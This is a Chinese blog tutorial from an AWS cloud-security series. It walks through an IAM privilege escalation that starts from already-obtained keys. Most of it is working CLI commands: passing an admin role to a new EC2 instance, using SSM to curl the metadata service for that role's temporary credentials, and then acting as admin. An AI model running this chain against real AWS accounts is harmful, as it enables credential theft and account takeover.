AWS云安全系列 8 - IAM-EC2
2022-4-24 10:30:0 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

国内云安全培训请点击原文或访问以下链接

https://www.yuque.com/u8047536/supvqp/ri4ft0

前提是已经获取了相关的密钥

步骤 1:将 AWS CLI配置为访问凭证

aws configure

步骤 2:列出附加到用户的策略。此外,列出附加到用户的内联策略

aws iam list-attached-user-policies --user-name xxx aws iam list-user-policies --user-name xxx

步骤 3:尝试在AWS 账户上创建用户

aws iam create-user --user-name Bob

由于权限不足,用户创建失败。

步骤 4: 查看策略权限和详细信息

 aws iam get-user-policy --user-name xx --policy-name ConfigureEC2Role

 xx用户可以运行 EC2 实例并将角色传递给 EC2 实例。由于 xx用户还具有与 SSM 服务交互的权限,因此xx用户可以通过 SSM 在EC2 实例 上执行命令

步骤 5:列出 AWS 账户上可 传递给 EC2 服务的角色

aws iam list roles

步骤 6: 查看ec2admin 角色策略和权限

aws iam list-role-policies --role-name ec2admin

步骤 7: 查看策略权限

aws iam get-role-policy --role-name ec2admin --policy-name terraform-20210212121709495300000001

ec2admin 角色允许管理员访问  AWS 账户

步骤 8:查找 Amazon Linux 2 AMI 的 AMI  ID

aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' --output json

 AMI ID 为 ami-0d08a21fc010da680

步骤 9:检查 AWS账户中可用的子网

aws ec2 describe-subnets

记下子网ID

步骤 10:检查 ec2 服务的安全组

 aws ec2 describe-security-groups

步骤 11:列出 AWS 账户 的实例配置文件

aws iam list-instance-profiles

记 下 ec2 实例配置文件名称

步骤 12:使用收集的详细信息启动  ec2 实例

aws ec2 run-instances --subnet-id subnet-0b57901260df6b3f3 --image-id ami-0d08a21fc010da680 --iam-instance-profile Name=ec2_admin --instance-type t2.micro --security-group-ids "sg-06407fe95d211b245


步骤 13:使用 SSM 在远程ec2 实例上运行命令

 aws ssm send-command \ --document-name "AWS-RunShellScript" \ --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2admin/"]' \  --targets "Key=instanceids,Values=i-0aa5cdcaf86dec148" \ --comment "aws cli 1

 记下命令 ID。执行的命令将与元数据服务交互,并输出与 EC2 实例关联的角色的临时访问凭证。

步骤 14:使用 SSM 获取 命令的输出

aws ssm get-command-invocation \--command-id "0765bff4-4966-446f-a0a2-4e0cdfee565f" \ --instance-id "i-0da83d9b4322af3fa"

命令执行成功。记 下访问密钥和会话令牌

步骤 15:记下命令输出中的访问密钥  并通过将访问密钥 ID、秘密访问密钥和会话令牌导出为环境变量来成为 ec2admin 角色

export AWS_ACCESS_KEY_ID=<access key id>export AWS_SECRET_ACCESS_KEY=<secret access key> export AWS_SESSION_TOKEN=<session token>

步骤 16:查看调用方身份以确认代入角色是否成功

aws sts get-caller-identity

已成功代入角色

步骤 17:尝试在 AWS 账户上 创建新用户以验证管理权限

aws iam create-user --user-name Bob


已成功执行特权操作

1.AWSCLI(https://docs.aws.amazon.com/cli/latest/reference/)


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651868008&idx=1&sn=368a0a367701bd68fa8fa090ebeb0c65&chksm=8442b38fb3353a997f9759dbd7827f8428555887246e88e4958bc92198b0ec87979964731a41#rd
如有侵权请联系:admin#unsafe.sh